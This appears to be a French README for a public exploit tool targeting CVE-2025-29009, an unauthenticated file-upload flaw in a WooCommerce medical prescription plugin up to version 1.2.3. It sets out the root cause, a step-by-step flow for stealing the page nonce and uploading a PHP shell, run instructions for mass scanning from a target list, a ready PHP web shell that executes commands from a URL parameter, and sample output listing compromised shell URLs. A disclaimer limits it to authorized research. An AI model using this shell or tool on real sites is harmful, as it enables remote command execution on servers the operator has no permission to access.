
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 est vulnérable à un téléversement arbitraire de fichier à priorité élevée.
Le plugin WordPress Medical Prescription Attachment pour WooCommerce <= 1.2.3 est vulnérable à un téléversement arbitraire de fichier de priorité élevée
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Champ | Détail |
|---|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Versions concernées | Toutes les versions ≤ 1.2.3 |
| Authentification | Aucune requise |
| Type | Téléversement sans restriction d'un fichier de type dangereux → Téléversement de web shell |
| CWE | CWE-434 · Téléversement sans restriction d'un fichier de type dangereux |
Cause racine :
Le gestionnaire AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) accepte les téléversements de fichiers via wkwc_pa_prescription_attachment[] sans valider l'extension du fichier ni le type MIME côté serveur. Un attaquant non authentifié peut extraire le ajaxNonce de la boutique publique WooCommerce (intégré dans l'objet JavaScript wkwcpaFrontObj), puis téléverser un web shell PHP directement dans le répertoire de téléversement du serveur. La réponse renvoie l'URL complète et accessible du fichier téléversé.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Créez votre shell PHP et intégrez-y une chaîne de signature unique afin que l'outil puisse vérifier le succès de l'exécution :
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Enregistrez-le sous shell.php dans le même répertoire que le script.
La chaîne NxploitedShellOK est la signature — elle doit apparaître dans la réponse du shell pour que la vérification aboutisse.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Les cibles sans
http://nihttps://reçoivent automatiquement le préfixehttp://.
| Fichier | Contenu |
|---|---|
shells.txt | Une URL de shell vérifiée par ligne |
Terminal :
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Code | Signification |
|---|---|
shell_file_missing | shell.php introuvable dans le répertoire de travail |
no_front_page | Aucune page candidate n'a renvoyé HTTP 200 |
nonce_not_found | wkwcpaFrontObj absent de toutes les pages |
upload_error | Erreur réseau lors du POST |
json_parse_error | La réponse n'est pas un JSON valide |
success_false | Le serveur a renvoyé data.success = false |
no_attachments | Téléversement réussi mais aucune URL dans la réponse |
shell_url_not_found | Impossible d'analyser l'URL du fichier dans le HTML de la réponse |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corrigé dans 1.2.4